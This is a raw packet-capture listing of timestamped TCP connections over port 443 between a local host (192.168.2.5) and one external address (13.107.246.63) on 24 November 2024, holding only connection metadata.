Nov 24, 2024 10:23:36.965599060 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.965636969 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.965689898 CET	49731	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.965913057 CET	49731	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.965939999 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.965955973 CET	49731	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.965962887 CET	443	49731	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.968945980 CET	49736	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.968996048 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:36.969059944 CET	49736	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.969217062 CET	49736	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:36.969233990 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.111911058 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.112065077 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.112157106 CET	49732	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.112360954 CET	49732	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.112360954 CET	49732	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.112407923 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.112437963 CET	443	49732	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.115711927 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.115755081 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.115848064 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.116039991 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.116055965 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.168215990 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.168391943 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.168474913 CET	49733	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.168550968 CET	49733	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.168560028 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.168570995 CET	49733	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.168575048 CET	443	49733	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.171534061 CET	49738	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.171572924 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.171665907 CET	49738	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.171825886 CET	49738	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.171840906 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.500588894 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.500639915 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.500710964 CET	49734	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.501034021 CET	49734	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.501080990 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.501111984 CET	49734	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.501128912 CET	443	49734	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.504532099 CET	49739	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.504554033 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:37.504650116 CET	49739	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.504858017 CET	49739	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:37.504873991 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:38.756670952 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:38.787861109 CET	49736	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:38.787935972 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:38.788599014 CET	49736	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:38.788608074 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:38.798490047 CET	443	49735	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:38.799552917 CET	49735	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:38.799583912 CET	443	49735	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:38.805434942 CET	49735	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:38.805438995 CET	443	49735	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:38.955210924 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.009532928 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.028654099 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.028665066 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.029350042 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.029356003 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.161892891 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.175678015 CET	49738	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.175735950 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.179965019 CET	49738	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.179977894 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.199872017 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.199917078 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.199969053 CET	49736	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.202409029 CET	49736	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.202430010 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.202442884 CET	49736	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.202449083 CET	443	49736	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.211220980 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.211257935 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.211329937 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.211607933 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.211622000 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.251836061 CET	443	49735	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.251928091 CET	443	49735	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.251983881 CET	49735	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.252232075 CET	49735	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.252247095 CET	443	49735	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.252258062 CET	49735	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.252262115 CET	443	49735	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.255386114 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.255408049 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.255496025 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.255639076 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.255651951 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.282494068 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.283171892 CET	49739	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.283190012 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.283658981 CET	49739	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.283665895 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.398269892 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.398417950 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.398557901 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.398881912 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.398894072 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.398906946 CET	49737	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.398914099 CET	443	49737	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.402415037 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.402451992 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.402522087 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.402715921 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.402729988 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.611439943 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.611601114 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.611659050 CET	49738	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.611872911 CET	49738	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.611891985 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.611901999 CET	49738	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.611907959 CET	443	49738	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.615597010 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.615614891 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.615684986 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.615868092 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.615880013 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.746561050 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.746612072 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.746676922 CET	49739	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.749345064 CET	49739	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.749355078 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.749368906 CET	49739	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.749375105 CET	443	49739	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.753046036 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.753065109 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:39.753132105 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.753285885 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:39.753299952 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.069700956 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.070338011 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.070353031 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.070856094 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.070862055 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.120234966 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.120960951 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.120971918 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.121493101 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.121496916 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.206624031 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.207523108 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.207545042 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.208050966 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.208056927 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.439467907 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.441814899 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.441828966 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.442326069 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.442329884 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.525192976 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.525268078 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.525356054 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.546483994 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.546508074 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.546524048 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.546530962 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.547641993 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.553997993 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.554014921 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.554599047 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.554604053 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.573079109 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.573230982 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.573293924 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.582870960 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.582881927 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.588603973 CET	49745	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.588659048 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.588737965 CET	49745	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.590661049 CET	49746	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.590679884 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.590734005 CET	49746	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.590950012 CET	49745	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.590969086 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.591157913 CET	49746	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.591172934 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.651447058 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.651618958 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.651691914 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.678512096 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.678549051 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.678565979 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.678575039 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.740952015 CET	49747	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.741009951 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.741096973 CET	49747	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.750343084 CET	49747	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.750358105 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.884905100 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.884968996 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.885024071 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.891907930 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.891917944 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.897783995 CET	49748	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.897800922 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.897881985 CET	49748	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.898190022 CET	49748	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.898201942 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.995253086 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.995295048 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.995341063 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.995536089 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.995542049 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.995552063 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.995557070 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.999778032 CET	49749	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:41.999828100 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:41.999917984 CET	49749	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:42.000144005 CET	49749	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:42.000160933 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.549751043 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.549953938 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.550435066 CET	49745	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.550467014 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.550595045 CET	49746	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.550604105 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.550995111 CET	49745	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.551002979 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.551259041 CET	49746	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.551263094 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.566411972 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.567063093 CET	49747	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.567090988 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.567727089 CET	49747	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.567734957 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.767173052 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.767774105 CET	49748	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.767785072 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.768449068 CET	49748	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.768454075 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.986928940 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.987082958 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.987158060 CET	49745	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.987349987 CET	49745	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.987379074 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.987416029 CET	49745	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.987426043 CET	443	49745	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.990814924 CET	49750	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.990852118 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.990941048 CET	49750	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.991142988 CET	49750	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.991158962 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.995655060 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.995707989 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.995753050 CET	49746	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.995879889 CET	49746	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.995888948 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.995898008 CET	49746	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.995902061 CET	443	49746	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.998310089 CET	49751	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.998347044 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:43.998415947 CET	49751	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.998613119 CET	49751	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:43.998629093 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.041693926 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.041764975 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.041819096 CET	49747	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.041940928 CET	49747	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.041951895 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.041963100 CET	49747	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.041968107 CET	443	49747	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.044183016 CET	49752	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.044209003 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.044289112 CET	49752	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.044447899 CET	49752	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.044460058 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.071732998 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.072298050 CET	49749	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.072316885 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.072907925 CET	49749	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.072913885 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.223759890 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.223927021 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.224011898 CET	49748	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.224163055 CET	49748	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.224176884 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.224186897 CET	49748	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.224191904 CET	443	49748	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.227510929 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.227540016 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.227624893 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.227842093 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.227854013 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.520627022 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.520675898 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.520761013 CET	49749	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.521051884 CET	49749	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.521051884 CET	49749	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.521074057 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.521085978 CET	443	49749	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.524039030 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.524063110 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:44.524322987 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.524533987 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:44.524547100 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:45.741759062 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:45.742830992 CET	49750	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:45.742847919 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:45.743501902 CET	49750	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:45.743505955 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:45.863792896 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:45.864545107 CET	49752	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:45.864566088 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:45.865154028 CET	49752	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:45.865158081 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.145142078 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.145801067 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.145821095 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.146437883 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.146442890 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.148665905 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.148956060 CET	49751	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.148977995 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.149440050 CET	49751	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.149446964 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.179599047 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.179744959 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.179821014 CET	49750	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.180026054 CET	49750	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.180037022 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.180048943 CET	49750	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.180053949 CET	443	49750	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.183387995 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.183410883 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.183520079 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.183696032 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.183707952 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.266108036 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.275362015 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.275377989 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.276010036 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.276015043 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.307611942 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.307759047 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.307847977 CET	49752	443	192.168.2.5	13.107.246.63
